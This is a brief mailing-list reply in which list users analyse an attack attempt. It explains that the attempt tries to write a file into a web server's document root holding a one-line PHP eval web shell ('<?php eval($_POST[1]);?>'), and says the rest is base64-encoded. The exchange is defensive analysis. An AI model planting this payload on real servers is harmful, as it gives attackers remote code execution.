----- On Feb 6, 2017, at 5:54 PM, Jack Swan john.swan@xxxxxxxxxx wrote: > The first line is trying to create the file webconfig.txt.php in your > DOCUMENT_ROOT directory, with the contents of the file being: > > <?php eval($_POST[1]);?> > > I didn't decode the remaining lines. I think they're just trying to do the same > thing. > > You are right. It's the base64 decoded stuff. https://www.base64decode.org/ is helpful. Bernd Helmholtz Zentrum Muenchen Deutsches Forschungszentrum fuer Gesundheit und Umwelt (GmbH) Ingolstaedter Landstr. 1 85764 Neuherberg www.helmholtz-muenchen.de Aufsichtsratsvorsitzende: MinDir'in Baerbel Brumme-Bothe Geschaeftsfuehrer: Prof. Dr. Guenther Wess, Heinrich Bassler, Dr. Alfons Enhsen Registergericht: Amtsgericht Muenchen HRB 6466 USt-IdNr: DE 129521671 --------------------------------------------------------------------- To unsubscribe, e-mail: users-unsubscribe@xxxxxxxxxxxxxxxx For additional commands, e-mail: users-help@xxxxxxxxxxxxxxxx
|